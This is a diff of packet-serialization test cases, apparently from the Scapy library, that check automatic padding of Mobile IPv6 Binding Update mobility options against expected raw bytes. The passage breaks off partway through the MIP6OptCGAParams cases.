++ Mobility Options - Automatic Padding - MIP6OptBRAdvice
+=  Mobility Options - Automatic Padding - MIP6OptBRAdvice
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptBRAdvice()]))                        ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x02\x02\x00\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBRAdvice()]))                 ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00'
+a and b and c and d and e and g and h and i and j
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptAltCoA           
+=  Mobility Options - Automatic Padding - MIP6OptAltCoA          
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptAltCoA()]))                        ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptAltCoA()]))                 ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptAltCoA()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x05\x00\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x04\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x03\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptNonceIndices                             
+=  Mobility Options - Automatic Padding - MIP6OptNonceIndices                            
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptNonceIndices()]))                        ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptNonceIndices()]))                 ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptNonceIndices()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptNonceIndices()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptBindingAuthData                          
+=  Mobility Options - Automatic Padding - MIP6OptBindingAuthData                                 
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptBindingAuthData()]))                        ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBindingAuthData()]))                 ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptBindingAuthData()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptBindingAuthData()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptMobNetPrefix                             
+=  Mobility Options - Automatic Padding - MIP6OptMobNetPrefix                            
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMobNetPrefix()]))                        == b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMobNetPrefix()]))                 == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x05\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x04\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x03\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptLLAddr                           
+=  Mobility Options - Automatic Padding - MIP6OptLLAddr                          
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptLLAddr()]))                        ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptLLAddr()]))                 ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptLLAddr()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptMNID                             
+=  Mobility Options - Automatic Padding - MIP6OptMNID                            
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMNID()]))                        ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x08\x01\x01\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMNID()]))                 ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x08\x01\x01'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x08\x01\x01\x01\x05\x00\x00\x00\x00\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x08\x01\x01\x01\x04\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x08\x01\x01\x01\x03\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x08\x01\x01\x01\x02\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x08\x01\x01\x01\x01\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x08\x01\x01\x01\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x08\x01\x01\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptMsgAuth                          
+=  Mobility Options - Automatic Padding - MIP6OptMsgAuth                                 
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMsgAuth()]))                        ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMsgAuth()]))                 ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptReplayProtection                                 
+=  Mobility Options - Automatic Padding - MIP6OptReplayProtection                                
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptReplayProtection()]))                        ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptReplayProtection()]))                 ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptReplayProtection()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptReplayProtection()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptCGAParamsReq                             
+=  Mobility Options - Automatic Padding - MIP6OptCGAParamsReq                            
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParamsReq()]))                        ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0b\x00\x01\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParamsReq()]))                 ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0b\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCGAParamsReq()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0b\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0b\x00\x01\x05\x00\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0b\x00\x01\x04\x00\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0b\x00\x01\x03\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0b\x00\x01\x02\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0b\x00\x01\x01\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0b\x00\x01\x00'
+a and b and c and d and e and g and h and i and j
+                                                
+
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptCGAParams                                
+=  Mobility Options - Automatic Padding - MIP6OptCGAParams                               
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParams()]))                        ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0c\x00\x01\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParams()]))                 ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0c\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCGAParams()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0c\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0c\x00\x01\x05\x00\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0c\x00\x01\x04\x00\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0c\x00\x01\x03\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0c\x00\x01\x02\x00\x00'
